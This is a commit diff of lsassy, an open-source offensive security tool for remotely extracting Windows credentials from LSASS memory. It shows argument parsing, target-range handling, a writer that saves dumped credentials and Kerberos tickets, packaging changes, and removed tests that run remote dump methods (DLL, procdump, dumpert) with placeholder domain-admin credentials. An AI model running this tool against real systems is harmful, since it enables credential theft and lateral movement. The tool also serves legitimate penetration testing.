48 group_auth.add_argument('-k', '--kerberos', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
49 '(KRB5CCNAME) based on target parameters. If valid credentials '
50 'cannot be found, it will use the ones specified in the command '
51 'line')
52 group_auth.add_argument('-dc-ip', action='store', metavar="ip address",
53 help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
54 'the target parameter')
55 group_auth.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
56 '(128 or 256 bits)')
57
58 group_out = parser.add_argument_group('output')
59 group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file')
60 group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "none"], action='store', default="pretty", help='Output format (Default pretty)')
61
62 parser.add_argument('-r', '--raw', action='store_true',
63 help='No basic result filtering (Display host credentials, duplicates and empty pass)')
64 parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)')
65 parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
66 parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
67 parser.add_argument('target', nargs='*', type=str, action='store', help='The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets')
68
69 if len(sys.argv) == 1:
70 parser.print_help()
71 sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)
72
73 args = parser.parse_args()
74
75 if not args.target:
76 parser.print_help()
77 sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code)
78
79 return args
80
81
82 def lsassy_exit(logger, error):
83 if error.error_msg:
84 logger.error(error.error_msg)
85 if error.error_exception:
86 logger.debug("Error : {}".format(error.error_exception))
87
88
89 def lsassy_warn(logger, error):
90 if error.error_msg:
91 logger.warn(error.error_msg)
92 if error.error_exception:
93 logger.debug("Error : {}".format(error.error_exception))
94
95
96 def is_valid_ip(ip):
97 ip = ip.split(".")
98 if len(ip) != 4:
99 return False
100 return all([0 <= int(t) <= 255 for t in ip])
101
102
103 def get_log_max_spaces(targets):
104 return max(len(t) for t in targets) + 4
105
106
107 def get_log_spaces(target, spaces):
108 return spaces - len(target)
109
110
111 def parse_targets(target):
112 if '-' in target:
113 ip_range = target.split('-')
114 try:
115 t = IPRange(ip_range[0], ip_range[1])
116 except AddrFormatError:
117 try:
118 start_ip = IPAddress(ip_range[0])
119
120 start_ip_words = list(start_ip.words)
121 start_ip_words[-1] = ip_range[1]
122 start_ip_words = [str(v) for v in start_ip_words]
123
124 end_ip = IPAddress('.'.join(start_ip_words))
125
126 t = IPRange(start_ip, end_ip)
127 except AddrFormatError:
128 t = target
129 else:
130 try:
131 t = IPNetwork(target)
132 except AddrFormatError:
133 t = target
134 if type(t) == IPNetwork or type(t) == IPRange:
135 return list(t)
136 else:
137 return [t.strip()]
138
139
140 def get_targets(targets):
141 ret_targets = []
142 for target in targets:
143 if os.path.exists(target):
144 with open(target, 'r') as target_file:
145 for target_entry in target_file:
146 ret_targets += parse_targets(target_entry)
147 else:
148 ret_targets += parse_targets(target)
149 return [str(ip) for ip in ret_targets]
150
151
152 def join_jobs(jobs):
153 for job in jobs:
154 try:
155 job.join()
156 except Exception as e:
157 pass
158
159
160 def terminate_jobs(jobs):
161 for job in jobs:
162 try:
163 job.terminate()
164 except Exception as e:
165 pass⏎
+84
-0
lsassy/utils.py less more
0 from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
1 import os
2
3
4 def is_valid_ip(ip):
5 """
6 Check if IP address is valid
7 :param ip: IP address
8 :return: Is valid
9 """
10 ip = ip.split(".")
11 if len(ip) != 4:
12 return False
13 return all([0 <= int(t) <= 255 for t in ip])
14
15
16 def get_log_max_spaces(targets):
17 """
18 Padding utility for targets
19 :param targets: List of targets
20 :return: Padding size
21 """
22 return max(len(t) for t in targets) + 4
23
24
25 def get_log_spaces(target, spaces):
26 """
27 Get padding for a specific host when displayed to user
28 :param target: Host
29 :param spaces: Total padding
30 :return: Padding for specific host
31 """
32 return spaces - len(target)
33
34
35 def parse_targets(target):
36 """
37 Parse provided targets
38 :param target: Targets
39 :return: List of IP addresses
40 """
41 if '-' in target:
42 ip_range = target.split('-')
43 try:
44 t = IPRange(ip_range[0], ip_range[1])
45 except AddrFormatError:
46 try:
47 start_ip = IPAddress(ip_range[0])
48
49 start_ip_words = list(start_ip.words)
50 start_ip_words[-1] = ip_range[1]
51 start_ip_words = [str(v) for v in start_ip_words]
52
53 end_ip = IPAddress('.'.join(start_ip_words))
54
55 t = IPRange(start_ip, end_ip)
56 except AddrFormatError:
57 t = target
58 else:
59 try:
60 t = IPNetwork(target)
61 except AddrFormatError:
62 t = target
63 if type(t) == IPNetwork or type(t) == IPRange:
64 return list(t)
65 else:
66 return [t.strip()]
67
68
69 def get_targets(targets):
70 """
71 Get targets from file or string
72 :param targets: List of targets
73 :return: List of IP addresses
74 """
75 ret_targets = []
76 for target in targets:
77 if os.path.exists(target):
78 with open(target, 'r') as target_file:
79 for target_entry in target_file:
80 ret_targets += parse_targets(target_entry)
81 else:
82 ret_targets += parse_targets(target)
83 return [str(ip) for ip in ret_targets]⏎
+77
-0
lsassy/writer.py less more
0 import logging
1 from pathlib import Path
2 import os
3
4 import importlib
5
6
7 class Writer:
8 """
9 Class used to write output results either on screen and/or in a file
10 """
11 def __init__(self, credentials, tickets):
12 self._credentials = credentials
13 self._tickets = tickets
14
15 def get_output(self, out_format, users_only=False):
16 """
17 Get credentials output in given format
18 :param out_format: Format from output package
19 :param users_only: If set, only returns users account, else returns users and computers accounts
20 :return: Output string
21 """
22 try:
23 output_method = importlib.import_module("lsassy.output.{}_output".format(out_format.lower()), "Output").Output(self._credentials, users_only)
24 except ModuleNotFoundError:
25 logging.error("Output module '{}' doesn't exist".format(out_format.lower()), exc_info=True)
26 return None
27
28 return output_method.get_output()
29
30 def write(self, out_format="pretty", output_file=None, quiet=False, users_only=False, kerberos_dir=None):
31 """
32 Displays content to stdout and/or a file
33 :param out_format: Output format
34 :param output_file: Output file
35 :param quiet: If set, doesn't display on stdout
36 :param users_only: If set, only returns users account, else returns users and computers accounts
37 :return: Success status
38 """
39 output = self.get_output(out_format, users_only)
40 if output is None:
41 logging.error("An error occurred while writing credentials", exc_info=True)
42 return None
43
44 if not quiet:
45 for line in output.split("\n"):
46 logging.success(line)
47
48 if output_file is not None:
49 path = Path(output_file).parent
50 if not os.path.isdir(path):
51 logging.error("Directory {} does not exist".format(path))
52 return None
53
54 with open(output_file, 'a+') as f:
55 f.write(output + "\n")
56 logging.success("Credentials saved to {}".format(output_file))
57
58 if kerberos_dir is not None:
59 if len(self._tickets) == 0 and not quiet:
60 logging.warning("No kerberos tickets found")
61 return True
62 abs_dir = os.path.abspath(kerberos_dir)
63 if not os.path.exists(abs_dir):
64 try:
65 os.makedirs(abs_dir)
66 except Exception as e:
67 logging.warning("Cannot create %s for saving kerberos tickets" % abs_dir, exc_info=True)
68 return True
69 for ticket in self._tickets:
70 ticket.to_kirbi(abs_dir)
71 if not quiet:
72 if len(self._tickets) > 1:
73 logging.success("%s Kerberos tickets written to %s" % (len(self._tickets),abs_dir))
74 else:
75 logging.success("%s Kerberos ticket written to %s" % (len(self._tickets),abs_dir))
76 return True
+7
-0
noxfile.py less more
0 import nox
1
2
3 @nox.session(python=["3.9", "3.7"])
4 def tests(session):
5 session.run("poetry", "install", external=True)
6 session.run("poetry", "run", "pytest", "--cov")⏎
+40
-0
pyproject.toml less more
0 [tool.poetry]
1 name = "lsassy"
2 version = "3.0.1"
3 description = "Tool to remotely extract credentials"
4 readme = "README.md"
5 homepage = "https://github.com/hackndo/lsassy"
6 repository = "https://github.com/hackndo/lsassy"
7 keywords = ["lsassy", "lsass", "pypykatz", "credentials"]
8 authors = ["pixis <[email protected]>"]
9
10 [tool.poetry.dependencies]
11 python = "^3.7"
12 netaddr = "^0.8.0"
13 pypykatz = "^0.4.8"
14 impacket = "^0.9.22"
15 rich = "^10.6.0"
16
17 [tool.poetry.dev-dependencies]
18 pytest = "^6.2.1"
19 coverage = "^5.3.1"
20 pytest-cov = "^2.10.1"
21 nox = "^2020.8.22"
22 pytest-mock = "^3.4.0"
23
24 [build-system]
25 requires = ["poetry-core>=1.0.0"]
26 build-backend = "poetry.core.masonry.api"
27
28 [tool.poetry.scripts]
29 lsassy = "lsassy.console:main"
30
31 [tool.coverage.paths]
32 source = ["lsassy", "*/site-packages"]
33
34 [tool.coverage.run]
35 branch = true
36 source = ["lsassy"]
37
38 [tool.coverage.report]
39 show_missing = true
+0
-3
requirements.txt less more
0 impacket
1 netaddr
2 pypykatz>=0.3.0
+7
-6
setup.py less more
1212
1313 setup(
1414 name="lsassy",
15 version="2.1.2",
15 version="3.0.0",
1616 author="Pixis",
1717 author_email="[email protected]",
18 description="Python library to parse remote lsass dumps",
18 description="Python library to extract credentials from lsass remotely",
1919 long_description=README,
2020 long_description_content_type="text/markdown",
21 packages=find_packages(exclude=["assets", "cme"]),
21 packages=find_packages(exclude=["assets"]),
2222 include_package_data=True,
23 url="https://github.com/hackanddo/lsassy",
23 url="https://github.com/Hackndo/lsassy/",
2424 zip_safe = True,
2525 license="MIT",
2626 install_requires=[
2727 'impacket',
2828 'netaddr',
29 'pypykatz>=0.3.0'
29 'pypykatz>=0.4.8',
30 'rich'
3031 ],
3132 python_requires='>=3.6',
3233 classifiers=(
3940 ),
4041 entry_points={
4142 'console_scripts': [
42 'lsassy = lsassy.core:run',
43 'lsassy = lsassy.console:main',
4344 ],
4445 },
4546 test_suite='tests.tests'
+0
-5
tests/__init__.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
+5
-0
tests/test_lsassy.py less more
0 from lsassy import __version__
1
2
3 def test_version():
4 assert __version__ == '3.0.0'
+0
-270
tests/tests.py less more
0 #!/usr/bin/env python3
1 # Author:
2 # Romain Bentz (pixis - @hackanddo)
3 # Website:
4 # https://beta.hackndo.com
5
6
7 import unittest
8
9 from lsassy.utils.defines import *
10 from lsassy.modules.dumper import Dumper
11 from lsassy.modules.impacketconnection import ImpacketConnection
12 from lsassy.modules.impacketfile import ImpacketFile
13 from lsassy.modules.logger import Logger
14 from lsassy.modules.writer import Writer
15 from lsassy.core import Lsassy
16 from tests.tests_config import *
17
18
19 class test_impacketconnection(unittest.TestCase):
20 def setUp(self):
21 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
22 self.conn = None
23
24 def tearDown(self):
25 if isinstance(self.conn, ImpacketConnection):
26 self.conn.clean()
27
28 def test_login_dns_error(self):
29 self.conn = ImpacketConnection(ImpacketConnection.Options("pixis.hackndo", domain, da_login, da_password))
30 self.conn.set_logger(self.log)
31 ret = self.conn.login()
32 self.assertIsInstance(ret, RetCode)
33 self.assertEqual(ERROR_DNS_ERROR[1], ret.error_msg)
34
35 @unittest.skipUnless(kerberos, "Skipping Kerberos (Set kerberos=True to incude Kerberos tests)")
36 def test_login_kerberos_success(self):
37 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password, '', '', kerberos, domain_controller))
38 self.conn.set_logger(self.log)
39 ret = self.conn.login()
40 self.assertIsInstance(ret, RetCode)
41 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
42
43 def test_login_connection_error(self):
44 self.conn = ImpacketConnection(ImpacketConnection.Options("255.255.255.255", domain, da_login, da_password))
45 self.conn.set_logger(self.log)
46 ret = self.conn.login()
47 self.assertIsInstance(ret, RetCode)
48 self.assertEqual(ERROR_CONNECTION_ERROR[1], ret.error_msg)
49
50 def test_login_login_error(self):
51 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, "wrong_password"))
52 self.conn.set_logger(self.log)
53 ret = self.conn.login()
54 self.assertIsInstance(ret, RetCode)
55 self.assertEqual(ERROR_LOGIN_FAILURE[1], ret.error_msg)
56
57 def test_login_login_success(self):
58 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
59 self.conn.set_logger(self.log)
60 ret = self.conn.login()
61 self.assertIsInstance(ret, RetCode)
62 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
63
64 def test_is_admin(self):
65 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
66 self.conn.set_logger(self.log)
67 self.conn.login()
68 ret = self.conn.isadmin()
69 self.assertIsInstance(ret, RetCode)
70 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
71
72 @unittest.skipUnless(usr_login and usr_password, "No low privileged user credential provided")
73 def test_is_admin_error(self):
74 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, usr_login, usr_password))
75 self.conn.set_logger(self.log)
76 self.conn.login()
77 ret = self.conn.isadmin()
78 self.assertIsInstance(ret, RetCode)
79 self.assertEqual(ERROR_ACCESS_DENIED[1], ret.error_msg)
80
81
82 class test_impacketfile(unittest.TestCase):
83 def setUp(self):
84 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
85 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
86 self.conn.set_logger(self.log)
87 self.conn.login()
88 self.ifile = ImpacketFile(self.conn, self.log)
89
90 def tearDown(self):
91 self.ifile.clean()
92 self.conn.clean()
93
94 def test_path_error(self):
95 ret = self.ifile.open("RANDOM")
96 self.assertIsInstance(ret, RetCode)
97 self.assertEqual(ERROR_PATH_FILE[1], ret.error_msg)
98
99 def test_share_error(self):
100 ret = self.ifile.open("RANDOM/path/file")
101 self.assertIsInstance(ret, RetCode)
102 self.assertEqual(ERROR_SHARE[1], ret.error_msg)
103
104 def test_file_error(self):
105 ret = self.ifile.open("C$/path/file")
106 self.assertIsInstance(ret, RetCode)
107 self.assertEqual(ERROR_FILE[1], ret.error_msg)
108
109 def test_file_success(self):
110 ret = self.ifile.open("C$/Windows/System32/calc.exe")
111 ret.clean()
112 self.assertIsInstance(ret, ImpacketFile)
113
114
115 class test_dumper(unittest.TestCase):
116 def setUp(self):
117 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
118 self.conn = ImpacketConnection(ImpacketConnection.Options(target, domain, da_login, da_password))
119 self.conn.set_logger(self.log)
120 self.conn.login()
121
122 def tearDown(self):
123 self.conn.clean()
124
125 """
126 DLL Method
127 """
128 def test_dll_dump_invalid_shell(self):
129 ret = Dumper(self.conn).dll_dump(("wmi",), "unknown")
130 self.assertIsInstance(ret, RetCode)
131 self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)
132
133 def test_dll_execute_error(self):
134 ret = Dumper(self.conn).dll_dump((), "cmd")
135 self.assertIsInstance(ret, RetCode)
136 self.assertEqual(ERROR_DLL_NO_EXECUTE[1], ret.error_msg)
137
138 def test_dll_execute_success(self):
139 ret = Dumper(self.conn).dll_dump(("task",), "cmd")
140 self.assertIsInstance(ret, RetCode)
141 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
142
143 """
144 Procdump Method
145 """
146 def test_procdump_missing_parameter(self):
147 ret = Dumper(self.conn).procdump_dump(("wmi",))
148 self.assertIsInstance(ret, RetCode)
149 self.assertEqual(ERROR_PROCDUMP_NOT_PROVIDED[1], ret.error_msg)
150
151 def test_procdump_invalid_parameter(self):
152 dump_option = Dumper.Options()
153 dump_option.procdump_path = "/invalid/path"
154 ret = Dumper(self.conn, dump_option).procdump_dump(())
155 self.assertIsInstance(ret, RetCode)
156 self.assertEqual(ERROR_PROCDUMP_NOT_FOUND[1], ret.error_msg)
157
158 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
159 def test_procdump_upload_error(self):
160 dump_option = Dumper.Options()
161 dump_option.procdump_path = procdump_path
162 dump_option.share = "INVALID_SHARE"
163 ret = Dumper(self.conn, dump_option).procdump_dump(())
164 self.assertIsInstance(ret, RetCode)
165 self.assertEqual(ERROR_PROCDUMP_NOT_UPLOADED[1], ret.error_msg)
166
167 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
168 def test_procdump_execute_error(self):
169 dump_option = Dumper.Options()
170 dump_option.procdump_path = procdump_path
171 dump = Dumper(self.conn, dump_option)
172 ret = dump.procdump_dump(())
173 self.assertIsInstance(ret, RetCode)
174 self.assertEqual(ERROR_PROCDUMP_NO_EXECUTE[1], ret.error_msg)
175 dump.clean()
176
177 """
178 Dumpert Method
179 """
180 def test_dumpert_missing_parameter(self):
181 ret = Dumper(self.conn).dumpert_dump(("wmi",))
182 self.assertIsInstance(ret, RetCode)
183 self.assertEqual(ERROR_DUMPERT_NOT_PROVIDED[1], ret.error_msg)
184
185 def test_dumpert_invalid_parameter(self):
186 dump_option = Dumper.Options()
187 dump_option.dumpert_path = "/invalid/path"
188 ret = Dumper(self.conn, dump_option).dumpert_dump(())
189 self.assertIsInstance(ret, RetCode)
190 self.assertEqual(ERROR_DUMPERT_NOT_FOUND[1], ret.error_msg)
191
192 @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
193 def test_dumpert_upload_error(self):
194 dump_option = Dumper.Options()
195 dump_option.dumpert_path = dumpert_path
196 dump_option.share = "INVALID_SHARE"
197 ret = Dumper(self.conn, dump_option).dumpert_dump(())
198 self.assertIsInstance(ret, RetCode)
199 self.assertEqual(ERROR_DUMPERT_NOT_UPLOADED[1], ret.error_msg)
200
201 @unittest.skipUnless(dumpert_path, "Dumper path wasn't provided")
202 def test_dumpert_execute_error(self):
203 dump_option = Dumper.Options()
204 dump_option.dumpert_path = dumpert_path
205 dumper = Dumper(self.conn, dump_option)
206 ret = dumper.dumpert_dump(())
207 self.assertIsInstance(ret, RetCode)
208 self.assertEqual(ERROR_DUMPERT_NO_EXECUTE[1], ret.error_msg)
209 dumper.clean()
210
211 """
212 Dump generic
213 """
214 def test_dump_method_unknown(self):
215 dump_option = Dumper.Options()
216 dump_option.method = 99
217 ret = Dumper(self.conn, dump_option).dump()
218 self.assertIsInstance(ret, RetCode)
219 self.assertEqual(ERROR_METHOD_NOT_SUPPORTED[1], ret.error_msg)
220
221 def test_dump_success(self):
222 dumper = Dumper(self.conn)
223 ret = dumper.dump()
224 dumper.clean()
225 self.assertIsInstance(ret, RetCode)
226 self.assertEqual(ERROR_SUCCESS[1], ret.error_msg)
227
228
229
230
231 @unittest.skipUnless(procdump_path, "Procdump path wasn't provided")
232 @unittest.skipUnless(protected_target, "No IP address with protected LSASS was provided")
233 class test_dumper_protected(unittest.TestCase):
234 def setUp(self):
235 self.log = Logger(Logger.Options(verbosity=0, quiet=True))
236 self.conn = ImpacketConnection(ImpacketConnection.Options(protected_target, domain, da_login, da_password))
237 self.conn.set_logger(self.log)
238 self.conn.login()
239
240 def tearDown(self):
241 self.conn.clean()
242
243 def test_dump_protected(self):
244 dump_option = Dumper.Options()
245 dump_option.method = 2
246 dump_option.procdump_path = procdump_path
247 dumper = Dumper(self.conn, dump_option)
248 ret = dumper.dump()
249 self.assertIsInstance(ret, RetCode)
250 self.assertEqual(ERROR_LSASS_PROTECTED[1], ret.error_msg)
251 dumper.clean()
252
253 class test_lsassy(unittest.TestCase):
254 def setUp(self):
255 log_options = Logger.Options(verbosity=0, quiet=True)
256 write_options = Writer.Options(format="none")
257 self.lsassy = Lsassy(target, da_login, domain, da_password, log_options=log_options, write_options=write_options)
258
259 def tearDown(self):
260 self.lsassy.clean()
261
262 def test_lsassy_success(self):
263 ret = self.lsassy.run()
264 self.assertEqual(0, ret)
265
266
267 if __name__ == '__main__':
268 unittest.main()
269
+0
-37
tests/tests_config.py.template less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 """
6 RENAME THIS FILE TO tests_config.py
7 """
8
9 # Include Kerberos authentication tests
10 # This test requires to have a valid TGT for a local admin set in KRB5CCNAME
11 # See https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage#kerberos
12 kerberos = False
13
14 # Domain controller FQDN or IP, only needed if kerberos set to True
15 domain_controller = "192.168.1.101"
16
17 # If kerberos is set to True, FQDN of a valid target. IP address otherwise.
18 target = "dc01.adsec.local"
19
20 # If kerberos is set to True, FQDN of target where LSASS is protected. IP address otherwise. (empty to skip tests)
21 protected_target = "protected_server.adsec.local"
22
23 # Domain Name
24 domain = "adsec.local"
25
26 # User with admin rights on target and protected_target
27 da_login = "jdoe"
28 da_password = "p4ssw0rd"
29
30 # User without admin rights on target (empty to skip tests)
31 usr_login = "msmith"
32 usr_password = "n0rights4U"
33
34 # Local tools for dumping methods (empty to skip tests)
35 procdump_path = "/opt/procdump.exe"
36 dumpert_path = "/opt/dumpert.exe"⏎